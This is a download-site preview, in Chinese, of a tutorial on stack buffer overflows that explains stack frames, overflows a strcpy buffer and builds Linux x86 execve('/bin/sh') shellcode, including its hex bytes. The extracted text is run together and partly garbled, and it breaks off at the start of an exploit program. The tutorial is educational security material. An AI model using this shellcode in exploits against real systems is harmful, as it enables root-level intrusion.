ImageVerifierCode 换一换
格式:DOCX , 页数:25 ,大小:25.22KB ,
资源ID:5828957      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bingdoc.com/d-5828957.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(Buffer Overflow 机理剖析一Word文档下载推荐.docx)为本站会员(b****2)主动上传,冰点文库仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰点文库(发送邮件至service@bingdoc.com或直接QQ联系客服),我们立即给予删除!

Buffer Overflow 机理剖析一Word文档下载推荐.docx

1、栈帧的结构:下面我们通过一个简单的例子来分析一下栈帧的结构. void proc(int i) int local;local=i;void main()proc(1);这段代码经过编译器后编译为:(以PC为例) main:push1call procproc:pushebpmovebp,espsubesp,4moveax,ebp+08movebp-4,eaxaddesp,4popebpret4下面我们分析一下这段代码.push 1call proc首先, 将调用要用到的参数1压入堆栈,然后call procpush ebpmov ebp,esp我们知道esp指向堆栈的顶端,在函数调用时,各个

2、参数和局部变量在堆栈中的位置只和esp有关系,如可通过esp+4存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过esp+4来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用ebp+8来存取参数1了. sub esp,4将esp减4,留出一个int的位置给局部变量 local 使用, local可通过ebp-4来存取mov ebp-4,eax就是 local=i;add esp,4pop ebpret 4首先esp加4,收回局部变量的空间,然

3、后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.不难看出,这个程序在执行proc过程时,栈帧的结构如下: 4444localebpret地址参数1内存高端|esp(栈顶)ebp因此,我们可以总结出一般栈帧的结构:local1local2localnebpret地址参数1参数2参数n|esp(栈顶)ebp了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了。2. Buffer Overflow 的机理我们先举一个例子说明一下什么是 Buffer Overflow :void f

4、unction(char *str)char buffer16;strcpy(buffer,str);char large_string256;int i;for( i = 0; i 255; i+)large_stringi = A;function(large_string);这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我

5、们就来分析一下为什么会这样?首先我们看一下未执行strcpy时堆栈中的情况:16444.buffer ebp ret地址 large_string地址|espebp当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在

6、程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行个Shell程序(如binsh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具

7、有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code.下面我们就来看一下如何编写Shell Code. 3. Shell Code 的编写下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明) void main() char *name2;name0 = /bin/shname1 = NULL;execve(name0, name, NULL);我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为

8、动态链接在运行时才链入.) -aleph1$ gcc -o shellcode -ggdb -static shellcode.caleph1$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB;show warranty for details.GDB 4.15 (i586-

9、unknown-linux), Copyright 1995 Free Software Foundation, Inc.(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl $0

10、x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d :0x800014e : call 0x80002bc 0x8000153 : addl $0xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble _execveDump of assembler code for

11、function _execve:0x80002bc :0x80002bd :0x80002bf : pushl %ebx0x80002c0 : movl $0xb,%eax0x80002c5 : movl 0x8(%ebp),%ebx0x80002c8 : movl 0xc(%ebp),%ecx0x80002cb : movl 0x10(%ebp),%edx0x80002ce : int $0x800x80002d0 : movl %eax,%edx0x80002d2 : testl %edx,%edx0x80002d4 : jnl 0x80002e6 0x80002d6 : negl %e

12、dx0x80002d8 : pushl %edx0x80002d9 : call 0x8001a34 0x80002de : popl %edx0x80002df : movl %edx,(%eax)0x80002e1 : movl $0xffffffff,%eax0x80002e6 : popl %ebx0x80002e7 :0x80002e9 :0x80002ea :0x80002eb : nop下面我们来首先来分析一下main代码中每条语句的作用:0x8000130 :0x8000131 :0x8000133 :这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针

13、,最后为局部变量留出空间.在这里,局部变量为:也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.0x8000136 :这里, 将字符串的地址放入name0的内存单元中, 也就是相当于 :0x800013d :将NULL放入name1的内存单元中, 也就是相当于:对execve()的调用从下面开始:0x8000144 :开始将参数以逆序压入堆栈, 第一个是NULL.0x8000146 :0x8000149 :将name的起始地址压入堆栈0x800014a :0x800014d :将字符串的地址压入堆栈0x800014e :调用execve() . call 指令首先

14、将 EIP 压入堆栈-现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.我们的这个例子是在基于Intel X86的Linux上运行的所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的 0x80002bc : pushl %ebp0x80002bd :0x80002bf :同样的入口处理0x80002c0 :将0xb(11)赋给eax , 这是execve()在系统中的索引号

15、0x80002c5 :的地址赋给ebx0x80002c8 :将name的地址赋给ecx0x80002cb :将NULL的地址赋给edx0x80002ce :产生系统调用,进入核心态运行看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,string_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)stringdb,0s

16、tring_addrdd0null_addrdd0-但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:movl string_addr,%ebx这种需要将绝对地址编码进机器语言的指令根本就没法使用.解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向J

17、MP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.经过上面的修改,我们的ShellCode变成了下面的样子:jmp 0x20popl esimovb $0x0,0x7(%esi)movl %esi,0x8(%esi)movl $0x0,0xC(%esi)movl %esi,%ebxleal 0x8(%esi),%ecxleal 0xC(%esi),%edxcall -0x25string

18、db ,0 string_addr dd 0null_addr dd 0 # 2 bytes,跳转到CALL# 1 byte, 弹出string地址# 4 bytes,将string变为以0结尾的字符串 # 7 bytes # 5 bytes# 2 bytes# 3 bytes# 5 bytes,跳转到popl %esi我们知道C语言中的字符串以结尾,strcpy等函数遇到就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有. 下面我们就对它作最后一次改进,去掉其中的:原指令:替换为:-movb$0x0,0x7(%esi)xorl %

19、eax,%eaxmovl$0x0,0xc(%esi)movb %eax,0x7(%esi) movl %eax,0xc(%esi)movl$0xb,%eaxmovb $0xb,%alOK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式._asm_(jmp 0x18 # 2 bytespopl %esi# 1 bytemovl %esi,0x8(%esi)# 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x7(%esi)# 3 bytesmovl %eax,0xc(%esi)# 3 bytesmovb $0xb,%al# 2

20、 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx# 3 bytesleal 0xc(%esi),%edx# 3 bytesint$0x80 # 2 bytescall -0x2d # 5 bytes.string /bin/sh# 8 bytes);经过编译后,用gdb得到这段汇编语言的机器代码为:xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh现在我们可以写我们的试验程序了:exploit1.c:char shellcode =xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx8

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2